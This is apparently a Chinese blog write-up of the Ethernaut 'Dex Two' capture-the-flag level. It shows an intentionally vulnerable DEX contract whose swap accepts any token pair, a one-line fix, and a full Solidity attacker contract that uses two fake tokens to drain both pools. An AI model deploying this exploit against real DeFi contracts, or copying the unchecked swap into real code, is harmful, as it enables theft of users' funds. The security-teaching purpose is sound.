23.Dex2
2023-07-17 19:27:30 # 04.Ethernaut CTF

Dex2

题目

要求:DexTwo合约中有用token1和token2各100个,将它们设置为0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract DexTwo is Ownable {
address public token1;
address public token2;
constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

分析

  • 没有限制swap的币对,因此任何山寨币都可以和token1、token2进行swap。
  • 修复:
1
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
  • 思路:创建两个山寨币,然后分别给题目合约1token,这样流动池方法getSwapAmount()计算出来的比例(山寨币:token[1,2])就是1:100,这样的话,我们就可以用1个山占比来拿走100个token1和token2。

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract attacker{
IDexTwo public level = IDexTwo(0x0000000000000000000000000000000000000000); // gas save
FakeToken public faketoken1 = FakeToken(0x0000000000000000000000000000000000000000); // gas save
FakeToken public faketoken2 = FakeToken(0x0000000000000000000000000000000000000000); // gas save

constructor(IDexTwo _addr) public {
level = _addr;
faketoken1 = new FakeToken();
faketoken2 = new FakeToken();
}

function attack() external {
faketoken1.transfer(address(level), 1); // add liquidity
faketoken2.transfer(address(level), 1); // add liquidity

faketoken1.approve(address(level), 1); // prepare for swap
faketoken2.approve(address(level), 1); // prepare for swap

level.swap(address(faketoken1), address(level.token1()), 1); // swap
level.swap(address(faketoken2), address(level.token2()), 1); // swap
}

}

interface IDexTwo {
function swap(address, address, uint256) external; // 🐎的,注意不能写成uint,否则swap方法会调用失败,一定要写全uint256
function token1() external view returns(address);
function token2() external view returns(address);
function approve(address, uint256) external;
function transfer(address,uint256) external ;
}

contract FakeToken is ERC20 {
constructor() ERC20("MyToken", "MTK") {
_mint(msg.sender,10000000000);
}

}